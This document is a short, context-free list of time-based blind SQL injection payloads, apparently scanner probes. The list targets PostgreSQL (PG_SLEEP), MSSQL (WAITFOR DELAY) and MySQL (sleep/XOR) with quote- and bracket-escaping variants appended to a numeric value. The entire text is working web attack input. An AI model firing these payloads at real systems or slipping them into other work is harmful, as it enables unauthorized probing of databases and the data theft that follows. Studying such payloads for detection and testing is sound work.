20-1 OR 471=(SELECT 471 FROM PG_SLEEP(15))--...
20-1) OR 113=(SELECT 113 FROM PG_SLEEP(15))--...
20-1)) OR 463=(SELECT 463 FROM PG_SLEEP(15))--...
20-1 waitfor delay '0:0:15' -- ...
20cQaxq5Ej'; waitfor delay '0:0:15' -- ...
20-1); waitfor delay '0:0:15' -- ...
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/...
20-1; waitfor delay '0:0:15' -- ...
200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z...
200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z...